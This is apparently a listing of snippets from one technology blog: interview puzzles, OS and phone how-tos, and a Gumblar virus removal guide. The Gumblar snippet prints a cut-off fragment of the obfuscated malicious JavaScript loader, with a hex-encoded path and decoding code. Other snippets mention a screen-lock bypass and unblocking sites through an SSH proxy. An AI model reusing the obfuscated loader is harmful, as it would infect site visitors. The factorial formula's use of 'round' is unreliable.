How to convert jpeg to bmp in c plus plus

Find the number of zero's in 'Factorial of a number' N factorial

http://digitalpbk.com/interview-questions/find-number-zeros-factorial-number-n-factorial Find the number of zero's in 'Factorial of a number' N factorial None For n as the number, round(n/5) + round(n/25) + round(n/125)+.......+round(n/5^n) etc till the reminder is 0. Explain how? A zero is formed when a 5 and 2 get multiplied, therefore finding the number of 5's would be enough to find the number of 10's since 5's would be less in number than 2. Lets take an example 30! = 1 x 2 .. x 5 x... x 10 .. x 15 ..x. 25 ... 30 It has 7 fives. Number of 5's ...

Bypass Screen lock on Xorg-1.11 Debian

http://digitalpbk.com/debian/xorg-1.11-screen-lock-bypass . However the latest version of Ubuntu seems to be unaffected by this bug. How to fix ? The version 1.11.3 of X-org seems to not have this bug. So doing an update would just fix it. apt-get update xorg Linux Software ...

Gumblar Virus Javascript removal using PERL

http://digitalpbk.com/virus/gumblar-web-virus-manual-removal-free-tool r="\x2f\x67\x61\x6e\x6a\x69\x2e\x63\x6f\x6d\x2f\x67\x61\x6e\x6a\x69\x2e\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x61\x6e\x67\x65\x67\x65\x2e\x63\x6f\x6d\x2f\x6b\x69\x6a\x69\x6a\x69\x2e\x63\x61\x2e\x70\x68\x70"; var H=''; function F(d,B){var hE=new Array(); var g; if(g!='Hl' && g != ''){g=null}; var hR; if(hR!='t' && hR!='HX'){hR='t'}; var BK=String("iMc[".substr(3)); BK+=B; var As; if(As!=''){As='sS'}; BK+=N; var WG=''; var TR=''; var S=new uV(BK, new String("7wkg".substr(3))); var K; if(K!='' && K!='eo'){K='HT'}; var pH; if(pH!='' ...

Enable two finger flick Forward and Back in Synaptics

http://digitalpbk.com/howto/enable-two-finger-flick-forward-and-back-gestures-windows-7-mac Enable two finger flick Forward and Back in Synaptics Two finger flick is a gesture that is used to move forward and backword in applications such as photo viewer software or a browser. This is a feature similar to the one available in Mac which is two touch scrolling. This post describers how to enable two finger flick on Windows just like in Macintosh. Two-Finger Flick The Two-Finger-Flick gesture enhances navigation for a variety of applications. You can use the Two-Finger-Flick gesture ...

How to Prevent my Computer from going to sleep when I am running big process ?

http://digitalpbk.com/windows/prevent-my-computer-going-sleep-run-process-without-stop How to Prevent my Computer from going to sleep when I am running big process ? By default on Windows 7, the computer sleeps after 30 minutes. Usually power plans and options are more required on laptops, but desktops also do use this setting. This is bad if you want to run some process which has to run for a long time like downloading from the internet or running torrents or running huge scripts. If you leave your computer unattended the computer sleeps after 30 minutes. This interrupts ...

How to access realtime google analytics

http://digitalpbk.com/google-analytics/how-to-access-google-analytics-realtime How to access realtime google analytics Steps to access google analytics realtime from your google analytics account Google has launched realtime analytics to Google Analytics product. You can see in near realtime how many people are currently active on your site. Realtime analytics also shows the keywords, referring URLs and visitor locations on a map that are updated realtime. Earlier analytics data used to lag by around 3 - 4 hours, Google has made a significant achievement in getting ...

Reset forgot unlock pattern on Android

http://digitalpbk.com/android/reset-forgot-unlock-pattern unlock pattern again. * You will have to do a factory reset of your phone. See to see how to unlock bootloader and reset your phone See a video that resets your lock pattern VID-33040980 Did that work ? The above steps are demonstrated on Google Nexus S, and it should work on similar phones like Galaxy S, Galaxy S2, HTC Desire, HTC Incredible, HTC Wildfire, LG Optimus, LG Optimus 2x. Try and let me know! Google Android How to ...

tracert Program (path to the source)

http://digitalpbk.blogspot.com/2008/03/tracert-program-windows-trace-path.html tracert Program (path to the source) Command Line : C:\Documents and Settings\User10>tracertUsage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_nameOptions: -d Do not resolve addresses to hostnames. -h maximum_hops Maximum number of hops to search for target. -j host-list Loose source route along host-list. -w timeout Wait timeout milliseconds for each reply.What?Trace route is a handy little program that shows the networks ...

Orkut YouTube Facebook etc Blocked ?? Follow this guide to Unblock

http://digitalpbk.blogspot.com/2009/05/orkut-youtube-facebook-blocked-ssh.html Orkut YouTube Facebook etc Blocked ?? Follow this guide to Unblock Blocked ??!!!Most of you may be out there to desparately find out how to unblock all these social networking sites. The solution is to use a proxy. You can use proxy sites available all over the internet, or set up your on SSH proxy if you have an SSH server. Setting up an SSH server is easy. If you have a machine at home, install any linux distribution with SSH server enabled. Now grab hold of your Home machine IP address ...

Number of Tennis Balls to make a 4 sided pyramid of 25 levels

http://digitalpbk.com/interview-questions/number-tennis-balls-make-4-sided-pyramid-25-levels Number of Tennis Balls to make a 4 sided pyramid of 25 levels Answer : 5525 Balls Start from the top of the pyramid. For a pyramid of 1 level - Number of Tennis balls required is 1 For a pyramid of 2 level - Number of Tennis balls required is 1 + 4 For a pyramid of 3 level - Number of Tennis balls required is 1 + 4 + 9 For a pyramid of 4 level - Number of Tennis balls required is 1 + 4 + 9 + 16 How do you go about doing this is each level of N balls requires N+1 balls as support in the case ...